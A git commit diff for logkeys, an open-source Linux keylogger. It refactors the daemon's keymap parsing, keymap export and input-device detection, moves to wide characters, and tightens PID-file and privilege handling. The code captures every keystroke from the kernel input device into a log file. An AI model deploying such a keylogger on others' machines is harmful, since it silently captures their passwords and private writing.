More refactoring and bug fixes. Inspired by Benjamin Jochheim. Thanks much! :)

git-svn-id: https://logkeys.googlecode.com/svn/trunk@40 c501e62c-e7d1-11de-a198-37193048d1ed
This commit is contained in:
kernc 2010-04-22 13:40:26 +00:00
parent 3748cdb02b
commit c0e749c00c
6 changed files with 299 additions and 249 deletions

View File

@ -1,5 +1,6 @@
v0.1.1 (?)
* bug fixes
* fixed 100% CPU issue on x64
* various other bug fixes
* removed pgrep dependency
* PID file now in /var/run/
* symlink attack vulnerability fixes

View File

@ -24,6 +24,9 @@
/* Define to 1 if you have the <cstring> header file. */
#undef HAVE_CSTRING
/* Define to 1 if you have the <cwchar> header file. */
#undef HAVE_CWCHAR
/* Define to 1 if you have the `error' function. */
#undef HAVE_ERROR
@ -48,6 +51,9 @@
/* Define to 1 if you have the `fgets' function. */
#undef HAVE_FGETS
/* Define to 1 if you have the `fgetws' function. */
#undef HAVE_FGETWS
/* Define to 1 if you have the `flock' function. */
#undef HAVE_FLOCK
@ -129,9 +135,6 @@
/* Define to 1 if you have the `sigaction' function. */
#undef HAVE_SIGACTION
/* Define to 1 if you have the `sleep' function. */
#undef HAVE_SLEEP
/* Define to 1 if you have the `sscanf' function. */
#undef HAVE_SSCANF
@ -171,6 +174,9 @@
/* Define to 1 if you have the `strncat' function. */
#undef HAVE_STRNCAT
/* Define to 1 if you have the `swscanf' function. */
#undef HAVE_SWSCANF
/* Define to 1 if you have the <sys/file.h> header file. */
#undef HAVE_SYS_FILE_H
@ -195,6 +201,12 @@
/* Define to 1 if you have the <vfork.h> header file. */
#undef HAVE_VFORK_H
/* Define to 1 if you have the `wcscpy' function. */
#undef HAVE_WCSCPY
/* Define to 1 if you have the `wcslen' function. */
#undef HAVE_WCSLEN
/* Define to 1 if `fork' works. */
#undef HAVE_WORKING_FORK

4
configure vendored
View File

@ -3945,7 +3945,7 @@ fi
done
for ac_header in cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h
for ac_header in cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h
do :
as_ac_Header=`$as_echo "ac_cv_header_$ac_header" | $as_tr_sh`
ac_fn_cxx_check_header_mongrel "$LINENO" "$ac_header" "$as_ac_Header" "$ac_includes_default"
@ -4389,7 +4389,7 @@ $as_echo "#define HAVE_WORKING_FORK 1" >>confdefs.h
fi
for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time
for ac_func in geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy
do :
as_ac_var=`$as_echo "ac_cv_func_$ac_func" | $as_tr_sh`
ac_fn_cxx_check_func "$LINENO" "$ac_func" "$as_ac_var"

View File

@ -41,7 +41,7 @@ AC_CHECK_FILE(
# Checks for header files.
AC_CHECK_HEADERS(
[cstdio cerrno cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h],
[cstdio cerrno cwchar cstring cassert sstream cstdlib csignal error.h unistd.h getopt.h sys/file.h sys/stat.h linux/input.h],
[],
[AC_MSG_ERROR([Expected header file is missing!])]
)
@ -56,7 +56,7 @@ AC_TYPE_SIZE_T
AC_FUNC_ERROR_AT_LINE
AC_FUNC_FORK
AC_CHECK_FUNCS(
[geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read sleep time],
[geteuid error error_at_line exit on_exit memset setlocale strerror fprintf getopt_long fopen sscanf fscanf getpid getuid getgid fclose remove kill strlen strcat strcpy strncat freopen feof fgets atoi sigaction fork setsid open close flock write umask setegid seteuid strftime localtime fflush read time fgetws wcslen swscanf wcscpy],
[],
[AC_MSG_ERROR([Expected function is missing!])]
)

View File

@ -4,17 +4,19 @@
#include <cassert>
#include <linux/input.h>
namespace logkeys {
// these are ordered default US keymap keys
wchar_t char_keys[49] = L"1234567890-=qwertyuiop[]asdfghjkl;'`\\zxcvbnm,./<";
wchar_t shift_keys[49] = L"!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL:\"~|ZXCVBNM<>?>";
wchar_t altgr_keys[49] = {0}; // old, US don't use AltGr key: L"\0@\0$\0\0{[]}\\\0qwertyuiop\0~asdfghjkl\0\0\0\0zxcvbnm\0\0\0|"; // \0 on no symbol; as obtained by `loadkeys us`
// TODO: add altgr_shift_keys[]
char func_keys[][8] = {
"<Esc>", "<BckSp>", "<Tab>", "<Enter>", "<LCtrl>", "<LShft>", "<RShft>", "<KP*>", "<LAlt>", " ", "<CpsLk>", "<F1>", "<F2>", "<F3>", "<F4>", "<F5>",
"<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NumLk>", "<ScrLk>", "<KP7>", "<KP8>", "<KP9>", "<KP->", "<KP4>", "<KP5>", "<KP6>", "<KP+>", "<KP1>",
"<KP2>", "<KP3>", "<KP0>", "<KP.>", /*"<",*/ "<F11>", "<F12>", "<KPEnt>", "<RCtrl>", "<KP/>", "<PrtSc>", "<AltGr>", "<Break>" /*linefeed?*/, "<Home>", "<Up>", "<PgUp>",
"<Left>", "<Right>", "<End>", "<Down>", "<PgDn>", "<Ins>", "<Del>", "<Pause>", "<LMeta>", "<RMeta>", "<Menu>"
wchar_t func_keys[][8] = {
L"<Esc>", L"<BckSp>", L"<Tab>", L"<Enter>", L"<LCtrl>", L"<LShft>", L"<RShft>", L"<KP*>", L"<LAlt>", L" L", L"<CpsLk>", L"<F1>", L"<F2>", L"<F3>", L"<F4>", L"<F5>",
L"<F6>", L"<F7>", L"<F8>", L"<F9>", L"<F10>", L"<NumLk>", L"<ScrLk>", L"<KP7>", L"<KP8>", L"<KP9>", L"<KP->", L"<KP4>", L"<KP5>", L"<KP6>", L"<KP+>", L"<KP1>",
L"<KP2>", L"<KP3>", L"<KP0>", L"<KP.>", /*"<",*/ L"<F11>", L"<F12>", L"<KPEnt>", L"<RCtrl>", L"<KP/>", L"<PrtSc>", L"<AltGr>", L"<Break>" /*linefeed?*/, L"<Home>", L"<Up>", L"<PgUp>",
L"<Left>", L"<Right>", L"<End>", L"<Down>", L"<PgDn>", L"<Ins>", L"<Del>", L"<Pause>", L"<LMeta>", L"<RMeta>", L"<Menu>"
};
const char char_or_func[] = // c = character key, f = function key, _ = blank/error ('_' is used, don't change); all according to KEY_* defines from <linux/input.h>
@ -87,4 +89,6 @@ inline int to_func_keys_index(unsigned int keycode)
return -1; // not function key keycode
}
} // namespace logkeys
#endif

View File

@ -8,6 +8,7 @@
#include <cstdio>
#include <cerrno>
#include <cwchar>
#include <cstring>
#include <sstream>
#include <cstdlib>
@ -25,7 +26,7 @@
# include <config.h> // include config produced from ./configure
#endif
#ifndef PACKAGE_VERSION
#ifndef PACKAGE_VERSION
# define PACKAGE_VERSION "0.1.0" // if PACKAGE_VERSION wasn't defined in <config.h>
#endif
@ -33,6 +34,8 @@
#define DEFAULT_LOG_FILE "/var/log/logkeys.log"
#define PID_FILE "/var/run/logkeys.pid"
namespace logkeys {
void usage()
{
fprintf(stderr,
@ -73,6 +76,17 @@ std::string execute(const char* cmd)
return result;
}
struct arguments
{
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it
@ -81,6 +95,7 @@ void signal_handler(int signal)
if (input_fd != -1)
close(input_fd); // closing input file will break the infinite while loop
}
void set_utf8_locale()
{
// set locale to common UTF-8 for wchars to be recognized correctly
@ -92,11 +107,30 @@ void set_utf8_locale()
error(EXIT_FAILURE, 0, "LC_CTYPE locale must be of UTF-8 type");
}
}
void exit_cleanup(int status, void * discard)
void exit_cleanup(int status, void *discard)
{
// TODO:
}
void create_PID_file()
{
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1)
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
close(temp_fd);
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running? Quitting. (" PID_FILE ")");
else error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
}
}
void kill_existing_process()
{
pid_t pid;
@ -121,9 +155,8 @@ void kill_existing_process()
remove(PID_FILE);
kill(pid, SIGINT);
exit(EXIT_SUCCESS);
exit(EXIT_SUCCESS); // process killed successfully, exit
}
error(EXIT_FAILURE, 0, "No process killed");
}
@ -136,50 +169,190 @@ void set_signal_handling()
sigaction(SIGTERM, &act, NULL);
}
void daemonize()
void determine_system_keymap()
{
if ( getppid() == 1 ) return; // if already a daemon, return
// custom map will be used; erase existing US keymapping
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
switch (fork()) {
case 0: break; // child continues
case -1: error(EXIT_FAILURE, errno, "Error creating child process");
default: _exit(EXIT_SUCCESS); // parent exits
}
setsid();
if(chdir("/")); // wrapped in if() to avoid compiler warning
switch (fork()) {
case 0: break; // second child continues
case -1: error(EXIT_FAILURE, errno, "Error creating 2nd child process");
default: _exit(EXIT_SUCCESS); // parent exits
}
close(STDIN_FILENO); // drop stdin, stdout, stderr
close(STDOUT_FILENO);
close(STDERR_FILENO);
} //\ daemon
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std::stringstream ss, dump(execute("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene`
std::string line;
struct arguments {
bool start; // start keylogger, -s switch
bool kill; // stop keylogger, -k switch
bool us_keymap; // use default US keymap, -u switch
int export_keymap; // export keymap obtained from dumpkeys, --export-keymap
int nofunc; // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. <LShift>, etc.), --no-func-keys switch
char * logfile; // user-specified log filename, -o switch
char * keymap; // user-specified keymap file, -m switch or --export-keymap
char * device; // user-specified input event device, given with -d switch
} args = {0}; // default all args to 0x0
unsigned int i = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode i
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while (static_cast<std::string::size_type>(index) != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
if (!is_char_key(i)) continue; // only map character keys of keyboard
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
index = to_char_keys_index(i);
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keys[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keys[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
continue;
}
// else if line starts with 'shift i'
index = to_char_keys_index(--i);
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
if (line[1] == 's') // if line starts with "shift"
shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code);
} // while (getline(dump, line))
}
void parse_input_keymap()
{
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
unsigned int i = -1;
unsigned int line_number = 0;
wchar_t func_string[32];
wchar_t line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
++line_number;
if(fgetws(line, sizeof(line), stdin) == NULL) {
if (feof(stdin)) break;
else error_at_line(EXIT_FAILURE, errno, args.keymap, line_number, "fgets() error");
}
// line at most 8 characters wide (func lines are "1234567\n", char lines are "1 2 3\n")
if (wcslen(line) > 8) // TODO: replace 8*2 with 8 and wcslen()!
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Line too long!");
// terminate line before any \r or \n
std::wstring::size_type last = std::wstring(line).find_last_not_of(L"\r\n");
if (last == std::wstring::npos)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "No characters on line");
line[last + 1] = '\0';
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (swscanf(line, L"%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 1) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (swscanf(line, L"%7ls", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
wcscpy(func_keys[to_func_keys_index(i)], func_string);
}
} // while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x // quotes x so it can be used as (char*)
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
}
void export_keymap_to_file()
{
int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap);
char buffer[32];
int buflen = 0;
unsigned int index;
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
buflen = 0;
if (is_char_key(i)) {
index = to_char_keys_index(i);
// only export non-null characters
if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0' &&
altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else if (char_keys[index] != L'\0' &&
shift_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);
else if (char_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc\n", char_keys[index]);
else // if all \0, export nothing on that line (=keymap will not parse)
buflen = sprintf(buffer, "\n");
}
else if (is_func_key(i)) {
buflen = sprintf(buffer, "%ls\n", func_keys[to_func_keys_index(i)]);
}
if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap);
}
close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap);
exit(EXIT_SUCCESS);
}
void determine_input_device()
{
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
std::stringstream input_dev_index;
input_dev_index << INPUT_EVENT_PATH;
input_dev_index << "event";
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
}
int main(int argc, char **argv)
{
on_exit(exit_cleanup, NULL);
if (geteuid()) { error(EXIT_FAILURE, errno, "Got r00t?"); }
if (geteuid()) error(EXIT_FAILURE, errno, "Got r00t?");
// default log file will be used if none specified
char *default_logfile = (char*) DEFAULT_LOG_FILE;
args.logfile = default_logfile;
args.logfile = (char*) DEFAULT_LOG_FILE;
{ // process options and arguments
@ -194,7 +367,7 @@ int main(int argc, char **argv)
#define EXPORT_KEYMAP_INDEX 7
{"export-keymap", required_argument, &args.export_keymap, 1}, // option_index of export-keymap is EXPORT_KEYMAP_INDEX (7)
{"no-func-keys", no_argument, &args.nofunc, 1},
{0, 0, 0, 0}
{0}
};
char c;
@ -220,11 +393,12 @@ int main(int argc, char **argv)
while(optind < argc)
error(0, 0, "Non-option argument %s", argv[optind++]);
} //\ arguments
} // process arguments
// kill existing logkeys process
if (args.kill) kill_existing_process();
else if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
if (!args.start && !args.export_keymap) { usage(); exit(EXIT_FAILURE); }
// check for incompatible flags
if (args.keymap && args.us_keymap) {
@ -233,165 +407,20 @@ int main(int argc, char **argv)
set_utf8_locale();
// read keymap from file
if (args.start && args.keymap && !args.export_keymap) {
// custom map will be used; erase existing US keytables
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
stdin = freopen(args.keymap, "r", stdin);
if (stdin == NULL)
error(EXIT_FAILURE, errno, "Error opening input keymap '%s'", args.keymap);
unsigned int i = -1;
unsigned int line_number = 0;
char func_string[32];
char line[32];
while (!feof(stdin)) {
if (++i >= sizeof(char_or_func)) break; // only ever read up to 128 keycode bindings (currently N_KEYS_DEFINED are used)
if (is_used_key(i)) {
if(fgets(line, sizeof(line), stdin)); // wrapped in if() to avoid compiler warning
++line_number;
}
if (is_char_key(i)) {
unsigned int index = to_char_keys_index(i);
if (sscanf(line, "%lc %lc %lc", &char_keys[index], &shift_keys[index], &altgr_keys[index]) < 2) {
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Too few input characters on line");
}
}
if (is_func_key(i)) {
if (i == KEY_SPACE) continue; // space causes empty string and trouble
if (sscanf(line, "%7s", &func_string[0]) != 1)
error_at_line(EXIT_FAILURE, 0, args.keymap, line_number, "Invalid function key string"); // does this ever happen?
strcpy(func_keys[to_func_keys_index(i)], func_string);
}
} //\ while (!feof(stdin))
fclose(stdin);
if (line_number < N_KEYS_DEFINED)
#define QUOTE(x) #x
error(EXIT_FAILURE, 0, "Too few lines in input keymap '%s'; There should be " QUOTE(N_KEYS_DEFINED) " lines!", args.keymap);
} // get keymap used by the system and optionally export it to file
// read keymap from file
parse_input_keymap();
}
else if ((args.start && !args.us_keymap) || args.export_keymap) {
// get keymap used by the system and optionally export it to file
determine_system_keymap();
// custom map will be used; erase existing US keymapping
memset(char_keys, '\0', sizeof(char_keys));
memset(shift_keys, '\0', sizeof(shift_keys));
memset(altgr_keys, '\0', sizeof(altgr_keys));
// get keymap from dumpkeys
// if one knows of a better, more portable way to get wchar_t-s from symbolic keysym-s from `dumpkeys` or `xmodmap` or another, PLEASE LET ME KNOW! kthx
std::stringstream ss, dump(execute("dumpkeys -n | grep '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'")); // see example output after i.e. `loadkeys slovene`
std::string line;
unsigned int i = 0; // keycode
int index;
int utf8code; // utf-8 code of keysym answering keycode i
while (std::getline(dump, line)) {
ss.clear();
ss.str("");
utf8code = 0;
// replace any U+#### with 0x#### for easier parsing
index = line.find("U+", 0);
while (static_cast<std::string::size_type>(index) != std::string::npos) {
line[index] = '0'; line[index + 1] = 'x';
index = line.find("U+", index);
}
assert(line.size() > 0);
if (line[0] == 'k') { // if line starts with 'keycode'
if (++i >= sizeof(char_or_func)) break; // only ever map keycodes up to 128 (currently N_KEYS_DEFINED are used)
// TODO: move these two (↓↑) lines out of the parent if()
if (is_char_key(i)) {
index = to_char_keys_index(i); // only map character keys of keyboard
ss << &line[14]; // 1st keysym starts at index 14 (skip "keycode XXX = ")
ss >> std::hex >> utf8code;
// 0XB00CLUELESS: 0xB00 is added to some keysyms that are preceeded with '+'; I don't really know why; see `man keymaps`; `man loadkeys` says numeric keysym values aren't to be relied on, orly?
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
char_keys[index] = static_cast<wchar_t>(utf8code);
// if there is a second keysym column, assume it is a shift column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
shift_keys[index] = static_cast<wchar_t>(utf8code);
}
// if there is a third keysym column, assume it is an altgr column
if (ss >> std::hex >> utf8code) {
if (line[14] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00;
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
} //\ if (is_char_key(i))
continue;
} //\ if (line[0] == 'k')
index = to_char_keys_index(i);
// if line starts with 'shift i'
if (is_char_key(i)) {
ss << &line[21]; // 1st keysym starts at index 21 (skip "\tshift\tkeycode XXX = " or "\taltgr\tkeycode XXX = ")
ss >> std::hex >> utf8code;
if (line[21] == '+' && (utf8code & 0xB00)) utf8code ^= 0xB00; // see line 0XB00CLUELESS
if (line[1] == 's') // if line starts with "shift"
shift_keys[index] = static_cast<wchar_t>(utf8code);
if (line[1] == 'a') // if line starts with "altgr"
altgr_keys[index] = static_cast<wchar_t>(utf8code);
}
} //\ while (getline(dump, line))
// export keymap to file as requested
if (args.export_keymap) {
int keymap_fd = open(args.keymap, O_CREAT | O_EXCL | O_WRONLY, 0644);
if (keymap_fd == -1)
error(EXIT_FAILURE, errno, "Error opening output file '%s'", args.keymap);
char buffer[32];
int buflen = 0;
for (unsigned int i = 0; i < sizeof(char_or_func); ++i) {
if (is_char_key(i)) {
index = to_char_keys_index(i);
if (altgr_keys[index] != L'\0')
buflen = sprintf(buffer, "%lc %lc %lc\n", char_keys[index], shift_keys[index], altgr_keys[index]);
else
buflen = sprintf(buffer, "%lc %lc\n", char_keys[index], shift_keys[index]);;
}
else if (is_func_key(i)) {
buflen = sprintf(buffer, "%s\n", func_keys[to_func_keys_index(i)]);
}
if (is_used_key(i))
if (write(keymap_fd, buffer, buflen) < buflen)
error(EXIT_FAILURE, errno, "Error writing to keymap file '%s'", args.keymap);
}
close(keymap_fd);
error(EXIT_SUCCESS, 0, "Success writing keymap to file '%s'", args.keymap);
exit(EXIT_SUCCESS);
} //\ if (args.export_keymap)
// export keymap if so requested
if (args.export_keymap) export_keymap_to_file();
}
if (args.device == NULL) { // no device given with -d switch
// extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.)
std::string output = execute("grep Name /proc/bus/input/devices | grep -nE '[Kk]eyboard|kbd'");
std::stringstream input_dev_index;
input_dev_index << INPUT_EVENT_PATH;
input_dev_index << "event";
input_dev_index << (atoi(output.c_str()) - 1); // the correct input event # is (output - 1)
args.device = const_cast<char*>(input_dev_index.str().c_str()); // const_cast safe because original isn't modified
determine_input_device();
}
else { // event device supplied as -d argument
std::string d(args.device);
@ -401,51 +430,41 @@ int main(int argc, char **argv)
set_signal_handling();
//~ daemonize();
if (daemon(0, 0) == -1) // become daemon
int nochdir;
if (args.logfile[0] != '/')
nochdir = 1; // don't chdir (logfile specified with relative path)
else nochdir = 0;
int noclose = 1; // don't close streams (stderr used)
if (daemon(nochdir, noclose) == -1) // become daemon
error(EXIT_FAILURE, errno, "Failed to become daemon");
// create temp file carrying PID for later retrieval
int temp_fd = open(PID_FILE, O_WRONLY | O_CREAT | O_EXCL, 0644);
if (temp_fd != -1) {
char pid_str[16] = {0};
sprintf(pid_str, "%d", getpid());
if (write(temp_fd, pid_str, strlen(pid_str)) == -1) {
error(EXIT_FAILURE, errno, "Error writing to PID file '" PID_FILE "'");
}
}
else {
if (errno == EEXIST)
error(EXIT_FAILURE, errno, "Another process already running (" PID_FILE ")? (Quitting.)");
else
error(EXIT_FAILURE, errno, "Error opening PID file '" PID_FILE "'");
} //\ temp file
close(STDIN_FILENO); close(STDOUT_FILENO); // leave stderr open
// open input device for reading
input_fd = open(args.device, O_RDONLY);
if (input_fd == -1) {
remove(PID_FILE);
error(EXIT_FAILURE, errno, "Error opening input event device '%s'", args.device);
}
// if log file is other than default, then better seteuid() to the getuid() in order to ensure user can't write to where she shouldn't!
args.logfile = realpath(args.logfile, NULL); // avoid relative paths
if (strcmp(args.logfile, DEFAULT_LOG_FILE) != 0) {
seteuid(getuid());
setegid(getgid());
}
// open log file as stdout (if file doesn't exist, create it with safe 0600 permissions)
umask(0177);
stdout = freopen(args.logfile, "a", stdout);
if (stdout == NULL) {
remove(PID_FILE);
error(0, errno, "Error opening output file '%s'", args.logfile);
free(args.logfile); // free memory allocated by realpath()
exit(EXIT_FAILURE);
}
free(args.logfile); // free memory allocated by realpath()
// we've got everything we need, now drop privileges by becoming 'nobody'
// now we need those privileges back in order to create system-wide PID_FILE
seteuid(0); setegid(0);
create_PID_file();
// now we've got everything we need, finally drop privileges by becoming 'nobody'
setegid(65534); seteuid(65534);
unsigned int scan_code, prev_code = 0; // the key code of the pressed key (some codes are from "scan code set 1", some are different (see <linux/input.h>)
@ -464,14 +483,15 @@ int main(int argc, char **argv)
fprintf(stdout, "Logging started ...\n%s", timestamp);
fflush(stdout);
// infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
while (read(input_fd, &event, sizeof(struct input_event)) > 0) {
// these event.value-s aren't defined in <linux/input.h> ?
#define EV_MAKE 1 // when key pressed
#define EV_BREAK 0 // when key released
#define EV_REPEAT 2 // when key switches to repeating after short delay
while (read(input_fd, &event, sizeof(struct input_event)) > 0) { // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd)
if (event.type != EV_KEY) continue; // keyboard events are always of type EV_KEY
scan_code = event.code;
@ -518,24 +538,33 @@ int main(int argc, char **argv)
if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL)
ctrl_in_effect = true;
// print character or string coresponding to received keycode
// print character or string coresponding to received keycode; only print chars when not \0
if (is_char_key(scan_code)) {
wchar_t wch;
if (altgr_in_effect) {
wchar_t wch = altgr_keys[to_char_keys_index(scan_code)];
wch = altgr_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
else if (shift_in_effect)
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]);
else
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]);
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
}
else if (shift_in_effect)
fprintf(stdout, "%lc", shift_keys[to_char_keys_index(scan_code)]);
else
fprintf(stdout, "%lc", char_keys[to_char_keys_index(scan_code)]);
else if (shift_in_effect) {
wch = shift_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
else {
wch = char_keys[to_char_keys_index(scan_code)];
if (wch != L'\0') fprintf(stdout, "%lc", wch);
}
}
else if (is_func_key(scan_code)) {
if (!args.nofunc) { // only log function keys if --no-func-keys not requested
fprintf(stdout, "%s", func_keys[to_func_keys_index(scan_code)]);
fprintf(stdout, "%ls", func_keys[to_func_keys_index(scan_code)]);
}
else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) {
// but always log a single space for Space and Tab keys
@ -543,7 +572,7 @@ int main(int argc, char **argv)
}
}
else fprintf(stdout, "<E-%x>", scan_code); // keycode is neither of character nor function, log error
}
} // if (EV_MAKE)
// on key release
if (event.value == EV_BREAK) {
@ -565,10 +594,14 @@ int main(int argc, char **argv)
fprintf(stdout, "\n\nLogging stopped at %s\n\n", timestamp);
fclose(stdout);
close(input_fd);
close(temp_fd);
remove(PID_FILE);
exit(EXIT_SUCCESS);
}
} // main()
} // namespace logkeys
int main(int argc, char** argv) {
logkeys::main(argc, argv);
}